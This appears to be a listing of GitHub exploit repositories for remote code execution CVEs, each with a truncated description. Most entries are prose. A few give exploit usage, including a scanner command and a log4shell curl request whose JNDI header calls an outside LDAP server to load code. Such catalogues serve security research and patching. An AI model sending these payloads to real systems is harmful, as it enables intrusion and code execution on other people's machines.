CVE-2023-52251-POC

CVE-2023-52251-POC There is a Remote Code Execution vulnerability provectus/kafka-ui. There is no patch as of writing this, but the vendor is notified by us and the team over at VINCE without any response. Report was sent Sep 27, 2023 to provectus both via email and github security. Remediation W...

POC-CVE-2025-55182

CVE-2025-55182 Scanner Simple command-line tool for detecting and exploiting CVE-2025-55182 React Server Components RCE in Next.js applications. Installation chmod +x scanner.sh Usage Scan with default command id ./scanner.sh -d example.com Execute custom command ./scanner.sh -d example.com -c...

CVE-2022-21974

CVE-2022-21974: Unitialized pointer free in RMSRoamingSecurity Remote Code Execution Root-cause The RMSRoamingSecurity!ATL::CComCreator ::CreateInstance constructor allocates and initializes a CRmsRoamingSecurity object 0x3470 bytes but it fails to initialize completely its state. For example, at...

CVE-2026-35616

CVE-2026-35616 - FortiClient EMS Pre-Authentication API Bypass to RCE TL;DR A critical authentication bypass in Fortinet FortiClient EMS 7.4.5 and 7.4.6 allows a completely unauthenticated, remote attacker to bypass API authentication by spoofing a single HTTP header X-SSL-CLIENT-VERIFY. The flaw...

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE CVE-2022-22947 Introduction Hazard Level: High POC/EXP Status: Public CNVD ID: CNNVD-2022-16402 Affected Versions: Spring Cloud Gateway 3.1.0 Spring Cloud Gateway =3.0.0, =3.0.6 Spring Cloud Gateway 3.0.0 Vulnerability Description Spring Cloud Gateway h...

CVE-2025-55182

React2Shell CVE-2025-55182 - Proof of Concept A comprehensive proof-of-concept exploit and educational resource for CVE-2025-55182, a critical remote code execution vulnerability affecting React Server Components with a CVSS score of 10.0. Legal Disclaimer FOR EDUCATIONAL AND AUTHORIZED TESTING...

EUVD-2026-108161

Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote...

CVE-2026-102785 Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52

Joomla Extension - yootheme.com - Unauthenticated remote code execution in YOOtheme Pro 5.0.0-5.0.52 - YOOtheme Pro’s publicly accessible image transformation handler incompletely binds normalized image operations and the output destination to its request signature. An unauthenticated remote...

CVE-2026-102785

The YOOtheme Pro Joomla extension (versions 5.0.0-5.0.52 ) is vulnerable to unauthenticated remote code execution due to a flaw in its publicly accessible image transformation handler . The root cause is an incomplete binding of normalized image operations and output destinations to the request s...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC PoC for: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC Video: https://youtu.be/u8mccaakISw...

CVE-2025-68613

CVE-2025-68613 — n8n Workflow Automation Expression Engine Isolation Failure The author assumes no liability for misuse or damage caused by this research Provided strictly for educational and defensive purposes Description This repository contains a laboratory-grade analysis and a safe...

CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit Overview CVE-2025-62593 is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine. The root cause is the absence of authentication on critical HTTP endpoints /api/jobs, /api/jobagent/jobs. An attacker can...

Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE

Microsoft Windows SMBGhost Vulnerability Checker - CVE-2020-0796 - SMBv3-RCE The scanner is for meant only for testing whether a server is vulnerable. It is not meant for research or development, hence the fixed payload. It checks for SMB dialect 3.1.1 and compression capability through a negotia...

CVE-2023-50164-Apache-Struts-RCE

Contains vulnerable WAR file and docker file that can be used to test CVE-2023-50164-Apache-Struts-RCE. This dockerfile and vulnerable application is compiled and designed using resources and code from https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE. Thanks to him for such a detaile...

CVE-2020-27955

CVE-2020-27955 Thanks https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2025-69460

CVE-2025-69460 – Simple Image Gallery 1.0 Remote Code Execution RCE Unauthenticated WriteUp CVE-2025-69460 – ExploitDB 50214...

CVE-2026-59243_exploit

CVE-2026-59243 — Apache Airflow FAB Provider OAuth Auth Bypass → DAG RCE Authentication bypass in Apache Airflow's FAB auth-manager provider apache-airflow-providers-fab, leading to remote code execution via a triggered DAG. The provider decodes the Azure OAuthidtoken with signature verification...

CVE-2016-10033

CVE-2016-10033 Remote Code Execution vulnerability in PHPMailer. More about CVE-2016-10033: CVE-2016-10033 Wiki...

CVE-2025-55182-Lab

CVE-2025-55182 Lab A hands-on lab to exploit CVE-2025-55182 React2Shell - Remote Code Execution in React Server Components. ⚠️ Disclaimer Educational purposes only. Only test on systems you own. Quick Start Clone and start git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...